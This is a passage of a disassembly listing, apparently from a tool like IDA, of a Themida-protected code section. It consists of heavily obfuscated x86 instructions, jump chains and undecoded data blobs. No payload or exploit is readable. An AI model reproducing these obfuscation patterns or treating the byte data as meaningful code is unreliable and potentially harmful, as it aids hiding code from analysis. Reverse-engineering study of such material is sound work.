		mov	dh, [esp]
		add	esp, 2
		push	bx
		mov	bh, 53h
		and	dh, bh
		jmp	loc_5609F9
; ---------------------------------------------------------------------------
dword_55822C	dd 592434FFh, 441768h, 0A59FE900h ; DATA XREF: Themida_:00552C6Co
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55823A:				; CODE XREF: Themida_:00556C0Cj
		shr	edx, 1
		cmp	eax, edx
		jz	loc_566407
		push	2734h
		mov	[esp], esi
		push	ebx
		mov	ebx, 75252997h
		and	ebx, 321E1D1Dh
		or	ebx, 37B9248Ch
		inc	ebx
		add	ebx, 0D7CC423Eh
		inc	ebx
		and	ebx, 62033F8Fh
		dec	ebx
		neg	ebx
		add	ebx, 46D16EB7h
		shl	ebx, 3
		and	ebx, 31621D38h
		push	4DEAh
		jmp	loc_562C11
; ---------------------------------------------------------------------------
		dd 8158C609h, 0F7FAF9F6h, 5EF23191h, 0BCC4E9h, 4C48300h
		dd 11B0E9h, 24048F00h, 8924248Bh, 9FE9242Ch
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5582AF:				; CODE XREF: Themida_:00553392j
		push	7F7Bh
		mov	[esp], ebx
		mov	ebx, 1D2F5323h
		mov	edx, 0D73E3F5h
		add	edx, ebx
		pop	ebx
		push	ebp
		mov	ebp, 6AB20FBDh
		or	edx, ebp
		jmp	loc_55BDE1
; ---------------------------------------------------------------------------
byte_5582D1	db 0F7h, 1Ch, 24h	; DATA XREF: Themida_:00552A54o
		dd 0A9E9E99Ch, 5253FFFFh, 0FFAA3DE9h, 92C480FFh, 0E958E608h
		dd 0FFFFB095h, 0EA815E5Ah, 5EBA4D22h, 0E2D8F281h, 0DAF7BBFDh
		dd 68h,	24142900h, 8324148Bh, 0E95504C4h, 0FFFFB863h, 0C681E689h
		dd 4, 4EE81h, 62E90000h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558323:				; CODE XREF: Themida_:0055E637j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp


loc_558333:				; CODE XREF: Themida_:00563E24j
		push	eax
		mov	eax, esp
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		sub	eax, 4
		jmp	loc_562831
; ---------------------------------------------------------------------------
		db 1, 0CEh, 8Bh
		dd 8956240Ch, 4C681E6h,	0E9000000h, 88CEh, 4EC81h, 4890000h
		dd 4EC8324h, 0FFDB0BE9h, 4BDFFh, 80E90000h, 0B800003Dh
		dd 7E22606Ch, 39F96B05h, 8BC501F0h, 0C4832404h,	2266E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55838E:				; CODE XREF: Themida_:00555985j
		pop	ebp
		pop	esi
		jmp	loc_557B7D
; ---------------------------------------------------------------------------


loc_558395:				; CODE XREF: Themida_:0055A6B6j
		and	edx, ebx
		pop	ebx
		jmp	loc_55A30B
; ---------------------------------------------------------------------------
		db 66h,	0F7h, 0D2h
		dd 0FFB173E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5583A5:				; CODE XREF: Themida_:005594B2j
		pop	esi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	[esp+4], ebx
		mov	ebx, [esp]
		jmp	loc_566E71
; ---------------------------------------------------------------------------
		dd 6173B850h, 6F2D380Fh, 1380F61h, 61A6E9C7h, 0C6810000h
		dd 364177D7h, 4DF6814Eh, 81401E73h, 5E76E9EEh, 0BDF68119h
		dd 81EC8A1Dh, 8435F1C5h, 39ED8130h, 294B5666h, 52BB53F5h
		dd 0F77ADA2Ah, 59E381DBh, 812E3D10h, 0D75E4BCBh, 72F38146h
		dd 0E90DA138h, 0FFFFC74Ah, 2474FF52h, 48F5A04h,	0B2C9E924h
		dd 8F2D0000h, 0E9340D77h, 47E4h, 7080E681h, 0B95154A7h
		dd 47C048B6h, 9033E9h
		db 0
; ---------------------------------------------------------------------------


loc_55843D:				; CODE XREF: Themida_:0055A0C9j
		add	ebp, esi
		jmp	loc_555697
; ---------------------------------------------------------------------------
		dd 74FF5259h, 8F5A0424h, 248B2404h, 0C8BF0F24h,	61F68h
		dd 240C8900h, 0A98CE9h,	937FBD00h, 0EF29694Ch, 4DE9815Dh
		dd 1574713h, 4DC181F9h,	8B574713h, 0C481243Ch, 4, 0E981E901h
		dd 2ACE6900h, 2C1835Dh,	2474FF51h, 240C8B04h, 4C481h, 48F0000h
		dd 24248B24h, 0E9028864h, 0FFFFA81Bh
; ---------------------------------------------------------------------------


loc_5584A8:				; CODE XREF: Themida_:005628C1j
		xor	bh, al
		mov	eax, [esp]
		push	ebx
		push	esp
		jmp	loc_55EA37
; ---------------------------------------------------------------------------
		dd 4BFh, 8BFB0100h
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	4DC7h
		mov	[esp], edi
		push	ecx
		push	46701474h
		pop	ecx
		sub	ecx, 46701472h
		mov	edi, ecx
		pop	ecx
		add	ebx, edi
		mov	edi, [esp]
		push	eax
		push	esp
		jmp	loc_55CF11
; ---------------------------------------------------------------------------
word_5584F2	dw 8B66h		; DATA XREF: Themida_:00552C68o
		dd 1C682404h, 0E900005Ch, 77B7h, 83242C8Bh, 6804C4h, 57000000h
		dd 0AE4CCEBFh, 247C2973h, 4295F04h, 24048124h, 73AE4CCEh
		dd 91C5E9h
		db 0
byte_558525	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00552C58o
		dd 411F6824h, 52E90000h, 5CFFFFC5h, 0BE243489h,	0F0BDE8B9h
		dd 0E705E951h, 0FF5C0000h, 96E92434h, 81FFFFD8h, 534E1BC9h
		dd 7BE98116h, 895EF34Fh, 0B60FE9CEh, 3ABEFFFFh,	1662A47h
		dd 24348BF3h, 4C481h, 0DBF70000h, 0F702E3C1h, 0D9E8E9D3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55857A:				; CODE XREF: Themida_:00556458j
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, 800h
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_553CF3
; ---------------------------------------------------------------------------
		db 57h
		dd 0C781E789h, 4, 8704C783h, 8F5C243Ch,	248B2404h, 0CB3BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		shr	ebp, 4
		add	ebp, 0FB988EEh
		sub	ecx, ebp
		push	dword ptr [esp]
		pop	ebp
		push	3C96h
		mov	[esp], edi
		jmp	loc_55D825
; ---------------------------------------------------------------------------
		dw 0B151h
		dd 59C8281Bh, 0D828BF2Ch, 0FFC53AE9h, 24148BFFh, 565BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5585FD:				; CODE XREF: Themida_:005645F8j
		add	ebp, 0F118D787h
		jmp	loc_55EDBA
; ---------------------------------------------------------------------------
		dd 4C381h, 5AE90000h, 1FFFFD9h,	0A982E9DEh, 0E957FFFFh
		dd 3700h
; ---------------------------------------------------------------------------


loc_558620:				; CODE XREF: Themida_:00566E6Cj
		push	edi
		xor	dword ptr [esp], 9D76133h
		jmp	loc_56202B
; ---------------------------------------------------------------------------


loc_55862D:				; CODE XREF: Themida_:0055BDC8j
		xor	ebx, [esp]
		jmp	loc_566D82
; ---------------------------------------------------------------------------
		db 81h,	0E3h, 0E9h
		dd 0F727D051h, 8E3C1DBh, 486EF381h, 0F3816A5Ch,	306E3F39h
		dd 9CE4C381h, 0D9314D57h, 56241C8Bh, 0EC81E689h, 4, 0FFAB9DE9h
		dd 0AB0F66FFh, 0E99C2404h, 0FFFFA653h, 7DD168h,	240C8900h
		dd 448668h, 241C8900h, 81D08850h, 4ECh,	240C8900h, 4EC81h
		dd 0E0E90000h
		db 0CFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_558697:				; CODE XREF: Themida_:005659ADj
		pop	eax
		push	ebp
		push	23C7h
		mov	[esp], esp
		jmp	loc_562073
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 5355B524h, 27FFE9h
		db 0
; ---------------------------------------------------------------------------


loc_5586B1:				; CODE XREF: Themida_:00555635j
		pop	eax
		jmp	loc_564054
; ---------------------------------------------------------------------------


loc_5586B7:				; CODE XREF: Themida_:0056640Ej
		add	esp, 4
		push	ecx
		mov	ecx, esp
		push	edx
		jmp	loc_56577C
; ---------------------------------------------------------------------------
		db 56h
		dd 127A7EBEh, 18570539h, 0F0291C5Ah, 5A18572Dh,	0EA055E1Ch
		dd 18B0D1Ah, 685758C2h,	5B95h, 0DFD5E9h, 244C0100h, 148B5904h
		dd 5EF06824h, 3C890000h, 0A61DE924h, 99680000h,	89000048h
		dd 39BA2414h, 0E91DFD28h, 5A11h, 4C281h, 0C2830000h, 3C98E904h
		dd 0EDBA0000h, 87406959h, 87DBF7DAh, 69E956DAh,	83000023h
		dd 0C8704C1h, 0C6835C24h, 1C776802h, 34890000h,	2474FF24h
		dd 2434FF04h
		db 5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_565AE5
; ---------------------------------------------------------------------------


loc_558751:				; CODE XREF: Themida_:00563F93j
		sub	ecx, 22B40352h
		and	ecx, 494969D7h
		not	ecx
		neg	ecx
		jmp	loc_560585
; ---------------------------------------------------------------------------
		dw 0E689h
		dd 4C681h, 0EE830000h, 74FF5604h, 348B0424h, 4C48124h
		dd 8F000000h, 895C2404h, 74FF2414h, 148B0424h, 4C48324h
		dd 5C24048Fh, 54241C89h, 4C3815Bh, 83000000h, 1C8702C3h
		dd 0C4D6E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5587AA:				; CODE XREF: Themida_:005604CDj
		mov	eax, 567E065Ch
		push	ecx
		mov	ecx, 0B43551Ch
		xor	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, eax
		pop	eax
		jmp	loc_562FA5
; ---------------------------------------------------------------------------


loc_5587C8:				; CODE XREF: Themida_:0055BB16j
		push	ebx
		mov	bh, dl
		mov	ch, bh
		mov	ebx, [esp]
		jmp	loc_55B180
; ---------------------------------------------------------------------------
		db 55h,	0E9h, 96h
		dd 68FFFFCDh, 4CB9h, 0BB241C89h, 5D9346A2h, 2D8BCB81h
		dd 5EE94BEBh, 53FFFFF1h, 0FCE9E389h
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5587FB:				; CODE XREF: Themida_:0055765Bj
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	ebx
		mov	ebx, 6BEB682Eh
		jmp	loc_554381
; ---------------------------------------------------------------------------


loc_55880B:				; CODE XREF: Themida_:0056559Bj
		or	ecx, eax
		pop	eax
		shl	ecx, 1
		push	edx
		jmp	loc_55EBCA
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 66036824h, 0EE90000h, 890000A9h, 20E9241Ch, 81FFFFCEh
		dd 4C4h, 2EE8E900h, 0BB530000h,	0F159C62Eh, 79E9DE29h
		dd 8100008Bh, 4ECh, 241C8900h, 2F10A7BBh, 0F7F3876Ah, 0C1F387D6h
		dd 0D3F708EBh, 698DCB81h, 0EC837DF9h, 242C8904h, 265FFFBDh
		dd 8647E973h, 56530000h, 0FFBBF4E9h, 2474FFFFh,	48F5F04h
		dd 30FF5C24h, 0FFC9F3E9h, 34F1BFFFh, 13BE253Ah,	1DAC5CBh
		dd 0F2295FFEh, 2414875Eh, 8924248Bh, 0BF57242Ch, 57FF4895h
		dd 3C8BFD89h, 0FD08E924h, 0E9B0FFFFh, 5866C500h, 0DDC3E9h
		dd 0EFC15F00h, 4DC78108h, 81FF17E9h, 100D0FC1h,	30E9816Fh
		dd 102BC0Ah, 30C181F9h,	5602BC0Ah, 0FFE57EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5588E1:				; CODE XREF: Themida_:00556F8Bj
		mov	esp, [esp]
		add	ecx, 64301DA6h
		jmp	loc_557A07
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481241Ch, 4, 10F2E9h, 4EF8300h, 31243C33h,	3C33243Ch
		dd 3644E924h, 0BF570000h, 7418485Ch, 2639CF81h,	0DFF76209h
		dd 7EAF68h, 311EE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558926:				; CODE XREF: Themida_:00560786j
		push	esp
		pop	ecx
		add	ecx, 4
		push	edx
		mov	edx, 4
		sub	ecx, 5A1311D9h
		add	ecx, edx
		add	ecx, 5A1311D9h
		mov	edx, [esp]
		jmp	loc_55CF56
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 11CBF496h, 1F06B951h, 0C8014C18h, 1DE70559h,	0F0015D7Fh
		dd 0B3EBE9h
		db 0
; ---------------------------------------------------------------------------


loc_558965:				; CODE XREF: Themida_:005668B9j
		or	ebp, 4F7B1C3Eh
		xor	ebp, 0BDB82BABh
		jmp	loc_55D3D1
; ---------------------------------------------------------------------------
		dw 78BAh
		dd 296D4328h, 3C8B5AD1h, 4C48324h, 94685057h, 584EAF74h
		dd 5676E9h, 40500h, 0FF500000h,	58042474h, 5C24048Fh, 5A2434FFh
		dd 0A290E9h, 5757B200h,	0C781E789h, 4, 8704EF83h, 69E9243Ch
		dd 10000E0h, 0A084E9D5h, 0C7810000h, 0E1C086C8h, 0FFADC5E9h
		dd 241487FFh, 0E33EE9h
		db 0
; ---------------------------------------------------------------------------


loc_5589D9:				; CODE XREF: Themida_:00564605j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 1
		push	esi
		mov	esi, 8481887h
		and	esi, 50F558AEh
		and	esi, 667A5EE6h
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 6C105E2h
		jmp	loc_556FD9
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0E9240C89h, 0FFFFF938h, 6624248Bh, 2404AB0Fh, 0A291E99Ch
		dd 0E228FFFFh, 68665866h, 89666395h, 74B5240Ch,	0FCE9EA00h
		db 6Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558A47:				; CODE XREF: Themida_:0055337Cj
		push	edx
		mov	edx, 1A3246FAh
		shr	edx, 2
		dec	edx
		shl	edx, 3
		sub	edx, 0E5481619h
		and	esi, edx
		jmp	loc_5669BC
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 8Bh
		dd 0E9C475EDh, 0A71Dh, 1DE9C131h, 81FFFFE0h, 0F8200DC3h
		dd 5BDF2961h, 3C8BF829h, 4C48324h, 9122E9h
		db 0
; ---------------------------------------------------------------------------


loc_558A89:				; CODE XREF: Themida_:0055A6FFj
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		push	edi
		jmp	loc_55B07C
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 4C48324h, 467E9h
		db 0
; ---------------------------------------------------------------------------


loc_558AAD:				; CODE XREF: Themida_:005533CDj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55F9E4
; ---------------------------------------------------------------------------
		db 21h,	0E8h, 5Dh
		dd 0AB65BF35h, 0E9C18916h, 0FFFFCAF7h, 5004C483h, 4B8h
		dd 0DCFAE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558ADA:				; CODE XREF: Themida_:0056323Aj
		mov	eax, esp
		add	eax, 4
		jmp	loc_5593E5
; ---------------------------------------------------------------------------


loc_558AE6:				; CODE XREF: Themida_:00556481j
		push	esi
		jmp	loc_563E6B
; ---------------------------------------------------------------------------
		dd 0FFDD3158h, 1C8B2434h, 0E6895624h, 4C681h, 0C6830000h
		dd 24348704h, 4C4815Ch,	52000000h, 20AA9D68h, 0D5315A23h
		dd 5A2434FFh, 4C481h, 74E90000h, 55FFFFDFh, 4A8487BDh
		dd 0AA20E9A0h, 4BD0000h, 29000000h, 4875DE8h, 0C895C24h
		dd 83E18924h, 148904ECh, 0E6E1E924h, 2EBDFFFFh,	0E92BE459h
		dd 0FFFFDCB7h
; ---------------------------------------------------------------------------


loc_558B54:				; CODE XREF: Themida_:00552DB2j
		mov	[esp], edx
		jmp	loc_555A21
; ---------------------------------------------------------------------------


loc_558B5C:				; CODE XREF: Themida_:0055A845j
		pop	esp
		push	edi
		mov	edi, 3B8327F1h
		xor	eax, edi
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 156A2449h
		push	edx
		jmp	loc_55D76C
; ---------------------------------------------------------------------------
		dw 4AB9h
		dd 81384759h, 82609BE9h, 0C8BB535Eh, 936F171h, 0BA525BD9h
		dd 0
		dd 0D189CA29h, 0FCA5E95Ah, 815DFFFFh, 10EDE6EDh, 0EB89539Ah
		dd 0FFA12FE9h, 4C283FFh, 5C241487h, 0FFF254E9h,	2BEFFh
		dd 0FFE90000h, 0BFFFFFAAh, 372520DDh, 0E95FFB29h, 0FFFFF0F2h
		dd 0C781D7F7h, 4FCF53A6h, 0FFCAE1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558BDD:				; CODE XREF: Themida_:0055A295j
		xchg	ecx, esi
		not	esi
		inc	esi
		xchg	edx, esi
		not	edx
		xchg	edx, esi
		jmp	loc_566464
; ---------------------------------------------------------------------------


loc_558BED:				; CODE XREF: Themida_:005643F6j
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 7FC5787Bh
		xchg	eax, ecx
		jmp	loc_55CB2C
; ---------------------------------------------------------------------------


loc_558C08:				; CODE XREF: Themida_:0055E855j
		mov	[esp], ebx
		push	24710BE4h
		jmp	loc_5647B6
; ---------------------------------------------------------------------------


loc_558C15:				; CODE XREF: Themida_:005532D1j
		shr	edx, 3
		shr	edx, 7
		and	edx, 5B56C66h
		push	edi
		mov	edi, 16B9E950h
		add	edx, edi
		pop	edi
		add	ebp, edx
		jmp	loc_555842
; ---------------------------------------------------------------------------


loc_558C31:				; CODE XREF: Themida_:0055BECCj
		add	edi, esi
		sub	edi, 102138Dh
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55EB7C
; ---------------------------------------------------------------------------
byte_558C47	db 0FFh			; DATA XREF: Themida_:00552A48o
		dd 74E92C77h, 81FFFFA0h, 4977A7EAh, 81FA0105h, 4977A7C2h
		dd 243C8B05h, 4C481h, 34FF0000h, 0C4815D24h, 4,	5CE9E9h
		dd 4EC8100h, 89000000h,	0E9512414h, 54D8h, 6BB184B6h, 99E9F130h
		dd 68000063h, 6A83h, 54243C89h,	83243C8Bh, 9E6804C4h, 8900001Bh
		dd 0C7E92434h
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_558CAB:				; CODE XREF: Themida_:00567495j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	edi, eax
		mov	eax, edi
		jmp	loc_5573E3
; ---------------------------------------------------------------------------
		db 0BBh
		dd 34FD2EFFh, 14B6E943h, 348B0000h, 4C48324h, 0E924048Fh
		dd 9539h, 0D3E9C801h, 8100004Ch, 4EDh, 242C8700h, 6C13E9h
		dd 43452D00h, 0E95E0558h, 7C19h
; ---------------------------------------------------------------------------


loc_558CF4:				; CODE XREF: Themida_:0055D2ECj
		push	edi
		push	4
		jmp	loc_55DA48
; ---------------------------------------------------------------------------
		db 5Ah
		dd 2A1F68h, 24148900h, 2434FF54h, 4C4835Ah, 0FFF9FBE9h
		dd 2474FFFFh, 8B9BE904h, 4890000h, 1A81B824h, 0BABA4FA1h
		dd 81819599h, 630635EAh, 81C2290Eh, 630635C2h, 90BF580Eh
		dd 294BF38Eh, 24148BD7h, 8104C483h, 0FF0F53EFh,	0EAB85019h
		dd 29163570h, 0F90158C1h, 70EAC181h, 3C8B1635h,	4C48324h
		dd 0FFA62EE9h, 59C831FFh, 4C068h, 243C8900h, 0A2F9E9h
		db 0
byte_558D79	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00552A08o
		dd 57240C8Bh, 3722E9h, 0DEF38100h, 4B57564Eh, 0A23B951h
		dd 0E9811EDEh, 4FB47CECh, 6A37BA52h, 0D1090484h, 0F7D1F75Ah
		dd 3E9C1D1h, 0FFE288E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558DAD:				; CODE XREF: Themida_:0055ABE4j
		pop	esp


loc_558DAE:				; CODE XREF: Themida_:loc_564990j
		push	42CCh
		mov	[esp], ebx
		push	edi
		mov	edi, 49842D40h
		jmp	loc_55E5C8
; ---------------------------------------------------------------------------


loc_558DC1:				; CODE XREF: Themida_:0056203Aj
		pop	ecx
		mov	edx, ebx
		pop	ebx
		pop	edi
		mov	esi, edx
		pop	edx
		add	ecx, esi
		jmp	loc_567602
; ---------------------------------------------------------------------------
		dd 5015F781h, 0F829FBD0h, 4658055Fh, 0F80163DFh, 4295E9h
		dd 6800h, 0B9510000h, 5A0802h, 4244C29h, 81240C8Bh, 4C4h
		dd 243C2900h, 6709E9h, 9EB9E900h, 0E952FFFFh, 0FFFF9FCDh
		dd 2404335Fh, 33240431h, 248B2404h, 9EA1E924h, 0FF57FFFFh
		dd 8B042474h, 0C483243Ch, 24048F04h, 0E924248Bh, 6623h
; ---------------------------------------------------------------------------


loc_558E38:				; CODE XREF: Themida_:00559B9Cj
		add	esp, 4
		jmp	loc_556407
; ---------------------------------------------------------------------------
		dd 0FFFFED81h, 0E5C1FFFFh, 0C0C58107h, 8909858Bh, 0C6815DEEh
		dd 1, 0F705E6C1h, 0EE6852D6h, 5A112A4Ch, 168FC281h, 57E92B8Ch
		dd 87000087h, 0E95C2434h, 7F4Fh, 0E9CA015Bh, 9450h, 553868h
		dd 241C8900h, 0EC22C2BBh, 74CB815Bh, 81464B38h,	8C03ECC3h
		dd 6E65E90Bh, 2C330000h, 24248B24h, 68C8B70Fh, 4EE0h, 68240489h
		dd 3A72h, 50ADE9h, 87D5F700h, 0E98149E9h, 4287BE9Ch, 5059CB21h
		dd 9F66B7B8h, 5E0C144h,	0E30C5D25h, 570F0551h, 0C301303Eh
		dd 0F0B6E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558EE2:				; CODE XREF: Themida_:00554776j
		pop	edx
		shr	ecx, 2
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 34476E2Ch
		xor	edi, 455F4B62h
		add	ecx, 4AAF535Eh
		jmp	loc_5570A6
; ---------------------------------------------------------------------------
		db 66h,	89h, 0Ch
		dd 4EC8124h, 0E9000000h, 25BAh,	0F381D3F7h, 0B7F7EF7Fh
		dd 0E6068h, 241C8900h, 83242C81h, 5872CF3Dh, 0CF3D8305h
		dd 0C5015B72h, 0A843E9h, 241C8B00h, 0A2DCE9h
		db 0
; ---------------------------------------------------------------------------


loc_558F41:				; CODE XREF: Themida_:0055CF71j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_563B55
; ---------------------------------------------------------------------------


loc_558F4F:				; CODE XREF: Themida_:00562276j
		add	esp, 4
		xor	eax, [esp]
		jmp	loc_565E73
; ---------------------------------------------------------------------------
		db 0BBh, 64h, 17h
		dd 0A9E9401Fh, 890000D8h, 43E9242Ch, 52000082h,	0EEC0FEB6h
		dd 70B45008h, 0E952EC80h, 0FFFFF361h, 4C181h, 0DF680000h
		dd 89000019h, 4BE2434h,	81000000h, 915A3C1h, 8FD7E938h
		dd 0E2810000h, 4FD6683Eh, 65F28142h, 420B6A6Ch,	3AC5F281h
		dd 0D001631Eh, 2DF0295Ah, 27E416BAh, 0FFFD28E9h
		db 0FFh
byte_558FC1	db 66h,	8Bh, 4		; DATA XREF: Themida_:00552AB8o
		dd 0E9545024h, 8F06h, 34180DBEh, 0DBE68165h, 0E9714863h
		dd 0FFFFA7D4h, 6203A5F3h, 89E95038h, 8B000065h,	0C4832404h
		dd 4C48104h, 81000000h,	4C7h, 243C8700h, 0E924248Bh, 0FFFFFD65h
		dd 4C5BC181h, 0C3819E24h, 20EE4B13h, 0FDE9CB29h, 87000047h
		dd 895C243Ch, 0E789243Ch, 0FFA02EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559025:				; CODE XREF: Themida_:0055A7CFj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_55CBAB
; ---------------------------------------------------------------------------
		dd 5124048Bh, 0B3E2E9h
		db 0
; ---------------------------------------------------------------------------


loc_55903D:				; CODE XREF: Themida_:00563EDDj
		not	edi
		or	edi, 4B1E6003h
		sub	edi, 0FF5F7A53h
		add	ebx, edi
		pop	edi
		add	ebx, 4
		jmp	loc_55D068
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55C507
; ---------------------------------------------------------------------------


loc_55906A:				; CODE XREF: Themida_:00565096j
		mov	ebx, esp
		jmp	loc_55FB2E
; ---------------------------------------------------------------------------


loc_559071:				; CODE XREF: Themida_:00554C28j
		pop	ebx
		push	ecx
		jmp	loc_556F54
; ---------------------------------------------------------------------------
		dd 0E581DDF7h, 2AE41CBCh, 81EDD145h, 0C46D1E5h,	14F5811Ch
		dd 53140000h, 4E29B850h, 4EE91585h, 8900001Dh, 0E3E958C6h
		dd 50000024h, 0D337E9h,	61BA5200h, 811FF619h, 358B2E2h
		dd 0DB15E903h, 0BA520000h, 4B07A88h, 0FFA35AE9h, 240C8BFFh
		dd 5604C483h, 3E8C68h, 41C3E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5590D6:				; CODE XREF: Themida_:0055DD78j
		push	399h
		mov	[esp], eax
		push	2CE104B5h
		pop	eax
		push	edi
		mov	edi, 0D31EFBCBh
		jmp	loc_553469
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240C8Bh, 8C9Fh, 8103EBC1h, 603509C3h, 0B4F3810Ch
		dd 2913B951h, 295A5BDEh, 0EDE95EF3h, 0FF000030h, 5E042474h
		dd 5C24048Fh, 8904EC83h, 4E92414h, 81000061h, 4C5h, 4C58300h
		dd 8B242C87h, 0BE562424h, 2, 535EF301h,	42474FFh, 24048F5Bh
		dd 0FE24248Bh, 0E99C2404h, 0FFFF9B6Fh, 0E907E4C0h, 142Ah
		dd 89240489h, 4EC81E0h,	89000000h, 35BB241Ch, 81013C31h
		dd 872341E3h, 0B6B9E943h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55917A:				; CODE XREF: Themida_:00560032j
		pop	edx
		add	esp, 4
		or	eax, eax
		jmp	loc_55CB0D
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 2434895Ch, 75030CBEh, 5EF30144h, 5E0FEB81h, 0D3293CEFh
		dd 5E0FC381h, 0F2683CEFh, 89000039h, 0F3BF243Ch, 5275B105h
		dd 345749BAh, 70BBE932h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5591BA:				; CODE XREF: Themida_:00564BB3j
		add	ebx, esi
		jmp	loc_5532FD
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 4003E9h, 501D6800h, 7CE90000h, 52000066h, 0C281E289h
		dd 4, 4EA81h, 14870000h, 24895C24h, 24048124h, 4, 40558h
		dd 0EC810000h, 4, 0E9240C89h, 0FFFFFEA5h, 0FF241489h, 8B042474h
		dd 5CE92414h, 8B0000DDh, 8953242Ch, 2A9668E3h, 2C890000h
		dd 4BD24h, 0C3810000h, 5781309Ch, 0E45FE9h, 24348900h
		dd 4EC81h, 1C890000h, 0B69AE924h, 0C781FFFFh, 6920B2C2h
		dd 98E9FA01h, 51FFFFCFh, 0E955E189h, 0FFFFACC1h, 0E9243487h
		dd 0BF1Ah, 7665E281h, 71E957DAh, 8B0000C9h, 8953243Ch
		dd 4C381E3h, 83000000h,	1C8704C3h, 81515C24h, 4ECh, 2403E900h
		dd 248B0000h, 24048924h, 6BEEE9h, 5DEB8900h, 0CBE8E943h
		dd 5866FFFFh, 43540566h, 0FF9E75E9h, 0E9D6F6FFh, 4F62h
		dd 40B168h, 24048900h, 9E408BB8h, 0C654E91Bh, 0F7560000h
		dd 515E2414h, 0A35F5DB9h, 9E1816Dh, 0D108ED0Ch,	2E9C1E1h
		dd 4636E981h, 5241591Bh, 866E54BAh, 5C5FE974h, 0EA810000h
		dd 3B092C1Ah, 81F20159h, 706BD7EAh, 24348B62h, 4C481h
		dd 0B8500000h, 2, 3358C201h, 14312414h,	0D73EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559316:				; CODE XREF: Themida_:00554D01j
		add	edi, 4
		jmp	loc_555A3E
; ---------------------------------------------------------------------------
		db 68h,	95h, 19h
		dd 34890000h, 81E68924h, 4C6h, 8611E900h, 0F7810000h, 0FC0469Fh
		dd 73A1EF81h, 474F7AD5h, 9076EF81h, 5CE9A556h, 0E9FFFFA5h
		dd 0FFFF996Fh, 4B2DF801h, 0FF521B6Eh, 835F2434h, 116804C4h
		dd 0E900006Ch, 2D29h, 0EEBB5355h, 8901AC2Bh, 0EE095BDDh
		dd 0E92434FFh, 8F22h, 0F5315859h, 0EC81515Eh, 4, 0E9242C89h
		dd 0A315h
; ---------------------------------------------------------------------------


loc_559394:				; CODE XREF: Themida_:00564581j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 72254724h
		xor	edi, edx
		pop	edx
		xor	esi, edi
		pop	edi
		xor	esi, 360334FAh
		push	edi
		mov	edi, esi
		push	edi
		jmp	loc_562719
; ---------------------------------------------------------------------------
		dd 2474FF53h, 48F5B04h,	14895C24h, 4EC8324h, 0B4240489h
